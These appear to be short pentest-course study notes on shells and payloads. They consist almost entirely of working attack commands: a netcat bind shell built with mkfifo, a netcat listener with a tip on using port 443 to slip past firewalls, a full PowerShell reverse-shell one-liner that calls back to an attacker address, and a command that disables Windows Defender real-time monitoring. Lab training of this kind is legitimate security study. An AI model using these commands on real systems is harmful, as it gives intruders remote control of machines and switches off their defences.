Shells and Payloads

Types of Shell

Bind Shell

No. 1: Server - Binding a Bash shell to the TCP session

Target@server:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f

No. 2: Client - Connecting to bind shell on target

$ nc -nv 10.129.41.200 7777

Target@server:~$ 

Reverse Shell

Server (attack box)

$ sudo nc -lvnp 443
Listening on 0.0.0.0 443

• Use a common port (443) so there is less chance of the firewall blocking our request

Client (target)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Disable AV

PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true